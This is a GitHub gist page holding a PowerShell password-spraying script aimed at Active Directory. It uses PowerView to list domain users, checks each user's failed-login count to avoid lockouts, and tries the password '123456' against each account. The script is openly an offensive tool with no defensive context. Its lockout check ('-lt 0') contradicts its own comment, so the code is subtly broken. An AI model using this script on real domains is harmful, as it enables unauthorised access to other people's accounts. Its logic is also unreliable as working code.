Created
October 13, 2021 06:04
-
-
Save AvasDream/46f3dbf749bdce3a295fa4adf2f5ceac to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# will spray only users that currently have 0 bad password attempts | |
# dependency - powerview | |
function Get-BadPasswordCount { | |
param( | |
$username = "username", | |
$domain = "offense.local" | |
) | |
$pdc = (get-netdomain -domain $domain).PdcRoleOwner | |
$badPwdCount = (Get-NetUser $username -Domain $domain -DomainController $pdc.name).badpwdcount | |
return $badPwdCount | |
} | |
$users = Get-netuser -properties samaccountname | Select-Object -ExpandProperty samaccountname | |
$domain = "offense.local" | |
$password = "123456" | |
Write-Host $users.Count users supplied; $users | % { | |
$badPasswordCount = Get-BadPasswordCount -username $_ -Domain $domain | |
if ($badPasswordCount -lt 0) { | |
Write-Host Spraying : -NoNewline; Write-host -ForegroundColor Green " $_" | |
$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("$domain\$_",(ConvertTo-SecureString -String $password -AsPlainText -Force)) | |
Start-Process cmd -Credential ($credentials) | |
} else { | |
Write-Host "Ignoring $_ with $badPasswordCount badPwdCount" -ForegroundColor Red | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment